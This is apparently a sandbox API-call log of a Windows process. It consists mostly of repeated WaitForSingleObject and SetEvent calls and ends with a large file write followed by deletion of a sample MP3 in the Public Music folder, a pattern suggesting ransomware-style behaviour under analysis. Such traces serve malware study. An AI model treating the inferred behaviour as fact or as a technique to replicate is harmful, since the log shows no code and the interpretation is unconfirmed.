	[0080.231] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.253] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.261] SetEvent (hEvent=0x6c) returned 1
	[0080.262] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.262] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.286] SetEvent (hEvent=0x6c) returned 1
	[0080.286] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.288] SetEvent (hEvent=0x6c) returned 1
	[0080.288] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.289] SetEvent (hEvent=0x6c) returned 1
	[0080.289] SwitchToThread () returned 1
	[0080.289] SetEvent (hEvent=0x6c) returned 1
	[0080.289] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.289] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.340] SetEvent (hEvent=0x6c) returned 1
	[0080.340] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.342] SetEvent (hEvent=0xb4) returned 1
	[0080.343] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.367] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.370] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.393] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.403] SetEvent (hEvent=0x6c) returned 1
	[0080.403] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.403] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.429] SetEvent (hEvent=0x6c) returned 1
	[0080.429] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.431] SetEvent (hEvent=0x6c) returned 1
	[0080.431] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.431] SetEvent (hEvent=0x6c) returned 1
	[0080.431] SwitchToThread () returned 1
	[0080.431] SetEvent (hEvent=0x6c) returned 1
	[0080.431] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.432] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.461] SetEvent (hEvent=0x6c) returned 1
	[0080.461] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.463] SetEvent (hEvent=0xb4) returned 1
	[0080.463] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.486] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.489] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.511] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.518] SetEvent (hEvent=0x6c) returned 1
	[0080.518] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.518] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.610] SetEvent (hEvent=0x6c) returned 1
	[0080.610] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.616] SetEvent (hEvent=0x6c) returned 1
	[0080.616] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.616] SetEvent (hEvent=0x6c) returned 1
	[0080.616] SwitchToThread () returned 1
	[0080.617] SetEvent (hEvent=0x6c) returned 1
	[0080.617] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.617] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.656] SetEvent (hEvent=0x8c) returned 1
	[0080.656] SetEvent (hEvent=0xb4) returned 1
	[0080.656] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.657] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.681] SetEvent (hEvent=0x6c) returned 1
	[0080.681] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.683] SetEvent (hEvent=0x6c) returned 1
	[0080.683] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.684] SetEvent (hEvent=0x6c) returned 1
	[0080.684] SwitchToThread () returned 1
	[0080.684] SetEvent (hEvent=0x6c) returned 1
	[0080.684] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.684] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.729] SetEvent (hEvent=0x6c) returned 1
	[0080.729] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.730] SetEvent (hEvent=0x8c) returned 1
	[0080.730] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.753] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.756] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.766] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.782] SetEvent (hEvent=0x6c) returned 1
	[0080.782] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.783] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.807] SetEvent (hEvent=0x6c) returned 1
	[0080.807] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.809] SetEvent (hEvent=0x6c) returned 1
	[0080.809] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.810] SetEvent (hEvent=0x6c) returned 1
	[0080.810] SwitchToThread () returned 1
	[0080.810] SetEvent (hEvent=0x6c) returned 1
	[0080.810] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.810] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.839] SetEvent (hEvent=0x6c) returned 1
	[0080.840] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.841] SetEvent (hEvent=0x8c) returned 1
	[0080.841] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.864] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.867] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.876] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.909] SetEvent (hEvent=0x6c) returned 1
	[0080.909] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.909] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.933] SetEvent (hEvent=0x6c) returned 1
	[0080.933] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.935] SetEvent (hEvent=0x6c) returned 1
	[0080.935] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.936] SetEvent (hEvent=0x6c) returned 1
	[0080.936] SwitchToThread () returned 1
	[0080.936] SetEvent (hEvent=0x6c) returned 1
	[0080.936] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.936] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.963] SetEvent (hEvent=0x6c) returned 1
	[0080.963] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.964] SetEvent (hEvent=0x8c) returned 1
	[0080.964] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.988] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.990] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.013] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.024] SetEvent (hEvent=0x6c) returned 1
	[0081.024] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.025] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.049] SetEvent (hEvent=0x6c) returned 1
	[0081.049] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.051] SetEvent (hEvent=0x6c) returned 1
	[0081.051] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.051] SetEvent (hEvent=0x6c) returned 1
	[0081.051] SwitchToThread () returned 1
	[0081.052] SetEvent (hEvent=0x6c) returned 1
	[0081.052] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.052] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.080] SetEvent (hEvent=0x6c) returned 1
	[0081.080] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.081] SetEvent (hEvent=0x8c) returned 1
	[0081.081] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.106] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.109] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.137] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.159] SetEvent (hEvent=0x6c) returned 1
	[0081.159] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.160] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.187] SetEvent (hEvent=0x6c) returned 1
	[0081.187] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.189] SetEvent (hEvent=0x6c) returned 1
	[0081.189] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.189] SetEvent (hEvent=0x6c) returned 1
	[0081.189] SwitchToThread () returned 1
	[0081.189] SetEvent (hEvent=0x6c) returned 1
	[0081.189] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.190] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.219] SetEvent (hEvent=0x6c) returned 1
	[0081.219] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.220] SetEvent (hEvent=0x8c) returned 1
	[0081.220] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.244] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.247] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.268] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.280] SetEvent (hEvent=0x6c) returned 1
	[0081.280] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.280] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.305] SetEvent (hEvent=0x6c) returned 1
	[0081.305] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.306] SetEvent (hEvent=0x6c) returned 1
	[0081.306] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.307] SetEvent (hEvent=0x6c) returned 1
	[0081.307] SwitchToThread () returned 1
	[0081.307] SetEvent (hEvent=0x6c) returned 1
	[0081.307] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.307] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.355] SetEvent (hEvent=0x6c) returned 1
	[0081.355] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.360] SetEvent (hEvent=0x8c) returned 1
	[0081.360] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.383] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.386] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.409] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.414] SetEvent (hEvent=0x6c) returned 1
	[0081.414] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.415] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.439] SetEvent (hEvent=0x6c) returned 1
	[0081.439] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.441] SetEvent (hEvent=0x6c) returned 1
	[0081.441] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.441] SetEvent (hEvent=0x6c) returned 1
	[0081.441] SwitchToThread () returned 1
	[0081.441] SetEvent (hEvent=0x6c) returned 1
	[0081.441] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.442] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.473] SetEvent (hEvent=0x6c) returned 1
	[0081.473] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.474] SetEvent (hEvent=0x8c) returned 1
	[0081.474] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.497] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.500] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.521] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.532] SetEvent (hEvent=0x6c) returned 1
	[0081.532] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.533] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.557] SetEvent (hEvent=0x6c) returned 1
	[0081.557] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.560] SetEvent (hEvent=0x6c) returned 1
	[0081.560] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.560] SetEvent (hEvent=0x6c) returned 1
	[0081.560] SwitchToThread () returned 1
	[0081.560] SetEvent (hEvent=0x6c) returned 1
	[0081.560] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.561] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.600] SetEvent (hEvent=0x6c) returned 1
	[0081.601] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.601] SetEvent (hEvent=0x8c) returned 1
	[0081.602] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.628] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.630] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.653] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.661] SetEvent (hEvent=0x6c) returned 1
	[0081.661] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.661] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.686] SetEvent (hEvent=0x6c) returned 1
	[0081.686] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.688] SetEvent (hEvent=0x6c) returned 1
	[0081.688] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.689] SetEvent (hEvent=0x6c) returned 1
	[0081.689] SwitchToThread () returned 1
	[0081.689] SetEvent (hEvent=0x6c) returned 1
	[0081.689] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.689] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.720] SetEvent (hEvent=0x6c) returned 1
	[0081.720] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.721] SetEvent (hEvent=0x8c) returned 1
	[0081.721] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.745] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.748] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.770] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.776] SetEvent (hEvent=0x6c) returned 1
	[0081.776] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.776] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.800] SetEvent (hEvent=0x6c) returned 1
	[0081.800] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.802] SetEvent (hEvent=0x6c) returned 1
	[0081.802] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.803] SetEvent (hEvent=0x6c) returned 1
	[0081.803] SwitchToThread () returned 1
	[0081.803] SetEvent (hEvent=0x6c) returned 1
	[0081.803] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.803] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.830] SetEvent (hEvent=0x6c) returned 1
	[0081.830] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.831] SetEvent (hEvent=0x8c) returned 1
	[0081.831] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.855] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.857] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.882] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.891] SetEvent (hEvent=0x6c) returned 1
	[0081.891] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.891] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.916] SetEvent (hEvent=0x6c) returned 1
	[0081.916] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.918] SetEvent (hEvent=0x6c) returned 1
	[0081.918] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.918] SetEvent (hEvent=0x6c) returned 1
	[0081.918] SwitchToThread () returned 1
	[0081.918] SetEvent (hEvent=0x6c) returned 1
	[0081.918] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.919] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.949] SetEvent (hEvent=0x6c) returned 1
	[0081.949] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.950] SetEvent (hEvent=0x8c) returned 1
	[0081.950] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.973] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.976] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0081.998] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.007] SetEvent (hEvent=0x6c) returned 1
	[0082.007] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.007] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.032] SetEvent (hEvent=0x6c) returned 1
	[0082.032] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.034] SetEvent (hEvent=0x6c) returned 1
	[0082.034] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.034] SetEvent (hEvent=0x6c) returned 1
	[0082.034] SwitchToThread () returned 1
	[0082.034] SetEvent (hEvent=0x6c) returned 1
	[0082.035] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.035] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.065] SetEvent (hEvent=0x6c) returned 1
	[0082.065] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.066] SetEvent (hEvent=0x8c) returned 1
	[0082.066] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.090] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.093] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.110] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.120] SetEvent (hEvent=0x6c) returned 1
	[0082.120] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.120] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.146] SetEvent (hEvent=0x6c) returned 1
	[0082.146] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.148] SetEvent (hEvent=0x6c) returned 1
	[0082.148] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.149] SetEvent (hEvent=0x6c) returned 1
	[0082.149] SwitchToThread () returned 1
	[0082.149] SetEvent (hEvent=0x6c) returned 1
	[0082.149] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.149] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.192] SetEvent (hEvent=0x6c) returned 1
	[0082.192] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.194] SetEvent (hEvent=0x8c) returned 1
	[0082.194] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.217] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.220] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.229] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.246] SetEvent (hEvent=0x6c) returned 1
	[0082.246] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.247] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.271] SetEvent (hEvent=0x6c) returned 1
	[0082.271] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.273] SetEvent (hEvent=0x6c) returned 1
	[0082.273] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.273] SetEvent (hEvent=0x6c) returned 1
	[0082.273] SwitchToThread () returned 1
	[0082.273] SetEvent (hEvent=0x6c) returned 1
	[0082.273] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.273] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.499] SetEvent (hEvent=0x80) returned 1
	[0082.499] SetEvent (hEvent=0x8c) returned 1
	[0082.499] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.499] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.507] SetEvent (hEvent=0x6c) returned 1
	[0082.507] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.524] SetEvent (hEvent=0x6c) returned 1
	[0082.524] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.526] SetEvent (hEvent=0x6c) returned 1
	[0082.526] SwitchToThread () returned 1
	[0082.526] SetEvent (hEvent=0x6c) returned 1
	[0082.526] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.526] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.929] SetEvent (hEvent=0xb4) returned 1
	[0082.929] SetEvent (hEvent=0x80) returned 1
	[0082.930] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0082.930] SetEvent (hEvent=0xb4) returned 1
	[0082.930] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.025] SetEvent (hEvent=0x6c) returned 1
	[0083.025] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.177] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.221] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.243] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.252] SetEvent (hEvent=0x6c) returned 1
	[0083.252] SetEvent (hEvent=0x80) returned 1
	[0083.252] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0083.353] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.353] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0083.353] SetEvent (hEvent=0x6c) returned 1
	[0083.353] SetEvent (hEvent=0xb4) returned 1
	[0083.353] SetEvent (hEvent=0x80) returned 1
	[0083.353] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.367] SetEvent (hEvent=0xa8) returned 1
	[0083.367] SetEvent (hEvent=0x80) returned 1
	[0083.378] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x3ec5d2, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eeb84*=0x3ec5d2, lpOverlapped=0x0) returned 1
	[0083.467] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0083.467] CloseHandle (hObject=0xc4) returned 1
	[0083.467] CloseHandle (hObject=0xc0) returned 1
	[0083.467] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x45, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x45) returned 1
	[0083.471] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3")) returned 1
	[0083.483] SetEvent (hEvent=0xb4) returned 1
	[0083.484] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0083.485] SetEvent (hEvent=0xb4) returned 1
	[0083.485] SetEvent (hEvent=0x80) returned 1
	[0083.485] SetEvent (hEvent=0x6c) returned 1
	[0083.485] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.485] SetEvent (hEvent=0x6c) returned 1
	[0083.501] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0083.502] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.502] SetEvent (hEvent=0xa8) returned 1
	[0083.502] SetEvent (hEvent=0x6c) returned 1
	[0083.504] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0083.504] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.504] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0083.504] SetEvent (hEvent=0x6c) returned 1
	[0083.504] SetEvent (hEvent=0x80) returned 1
	[0083.504] SetEvent (hEvent=0xb4) returned 1
	[0083.504] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.505] SetEvent (hEvent=0xb4) returned 1
